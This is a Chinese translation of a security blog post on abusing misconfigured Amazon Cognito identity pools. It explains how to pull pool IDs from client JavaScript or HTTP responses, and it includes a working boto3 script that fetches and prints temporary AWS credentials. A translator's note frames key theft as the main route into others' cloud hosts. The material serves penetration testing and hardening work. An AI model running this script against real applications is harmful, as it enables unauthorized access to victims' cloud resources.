原文:
https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963
Amazon Cognito
Amazon Cognito是一种身份管理机制。借助 Amazon Cognito,您可以快速轻松地为 Web 和移动应用程序添加用户注册、登录和访问控制功能。Amazon Cognito 可将用户规模扩展到数百万,并支持通过 SAML 2.0 和 OpenID Connect 使用社交身份提供商(如 Apple、Facebook、Google 和 Amazon)以及企业身份提供商进行登录。
Amazon Cognito包含两个主要内容,分别是:
用户池:用户池允许登录和注册功能
身份池:身份池允许经过身份验证和未经身份验证的用户使用临时凭证访问AWS资源
简而言之,用户池存储所有用户,身份池使这些用户能够访问AWS服务。
Amazon Cognito如何工作?

1.假设,Alice用户想要访问或上传一些数据到S3存储桶中,但是为此,Alice需要进行身份验证,以便她打开Cognito登录页面。
2. Alice使用她的Google / Facebook登录凭据登录,这些凭据是根据用户池用户目录检查。
3.成功登录将给Alice一个JWT。
4.Alice向其JWT向身份池发出请求。
5.身份池检查令牌并将其JWT令牌交换为临时AWS凭证。
6. Alice可以使用这些临时AWS凭证来访问数据/将数据上传到S3存储桶
检测和利用配置错误的Amazon Cognito
Cognito身份池ID允许用户获取临时AWS凭证。如果获得的AWS凭证具有自由的AWS权限,则未经身份验证的用户可能会访问敏感的AWS服务。
检索身份池ID
硬编码的身份池ID
应用程序将硬编码的身份池ID存储在其源代码/ JavaScript中
客户端JavaScript中的硬编码Amazon Cognito配置可能如下所示
{
aws_project_region: "ap-south-1",
aws_cognito_identity_pool_id:"ap-south-1:d06f6g4f-656c-4a12-87x1-d0d4c2dnc984",
aws_cognito_region: "ap-south-1",
aws_user_pools_id: "ap-south-1_cN3PfQxij",
aws_user_pools_web_client_id: "4g4ckfc9llt8q7fvmbkg0h6u25",
})
HTTP响应中的身份池ID
应用程序使用身份池ID响应基于GET / POST的HTTP请求,或使用POST请求中的身份池ID来执行某些操作。如果应用程序使用的是Amazon Cognito,则在Burp Suite中查找包含AWS Cognito身份池ID的响应。您也可以在Burp Suite中搜索字符串,例如aws_cognito_identity_pool_id,identity或cognitoIdentityPoolId。下面显示了一个示例HTTP请求和包含Amazon Cognito Pool Id的响应
请求
POST /api/v1/app-config/ HTTP/1.1
PHONE_MAKE: *
userId: *
CLIENT_NAME: *
CLIENT_VERSION: *
Authorization: JWT eyJhbGc<JWT-TOKEN>
Content-Type: application/json; charset=UTF-8
Host: <HOST-Name>
Content-Length: 2
{}
响应
HTTP/1.1 200 OK
— -SNIPPED — -
“shareMeta”:{“campaign”:”REFER_PROFILE_SCREEN”,”desc”:”do
laundry”,”showModal”:true,”title”:”Refer a
friend!”,”useBranch”:true},”runnerFirebaseUrl”:”https://SOMEEXAMPLESITE.firebaseio.com/","s3":{"bucket":"SOMEEXAMPLEBUCKET","cognitoIdentityPoolId":"ap-south-1:d06f6g4f-656c-4662-87e1-d1d4c2dna984","region":"us-east-1","url":"http://s3.amazonaws.com"},"search_tab_badge_config":null,"serviceabilityUrl":"https://SOMEEXAMPLESITE.s3-ap-southeast-1.amazonaws.com","shardingPrefixId":"ccc6e"
— -Snipped — -
提取AWS临时凭证
获得Cognito身份池ID令牌后,您可以继续进行操作,并使用标识的令牌为未经身份验证的角色获取临时AWS凭证。将以下脚本保存到awscognito.py文件中,并将变量`region`和`identity_pool`替换为您的值
import boto3
region='us-east-1'
identity_pool='us-east-1:5280c436-2198-2b5a-b87c-9f54094x8at9'
client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool)
_id = _id['IdentityId']
credentials = client.get_credentials_for_identity(IdentityId=_id)
access_key = credentials['Credentials']['AccessKeyId']
secret_key = credentials['Credentials']['SecretKey']
session_token = credentials['Credentials']['SessionToken']
identity_id = credentials['IdentityId']
print("Access Key: " + access_key)
print("Secret Key: " + secret_key)
print("Session Token: " + session_token)
print("Identity Id: " + identity_id)
它将获取AWS临时凭证,如下所示

译者按:
在现在的云时代,想通过账号密码来搞别人的云主机已经变得不现实了。基本上都是通过认证key来搞的,之前我们有提到过通过heapdump泄露key,或者各种方法来搞到key。作者又给出了一种搞key的方式。译者觉得以后的搞别人的主机权限可能很大比例都会出现在key的攻防上。
本文迁移自知识星球“火线Zone”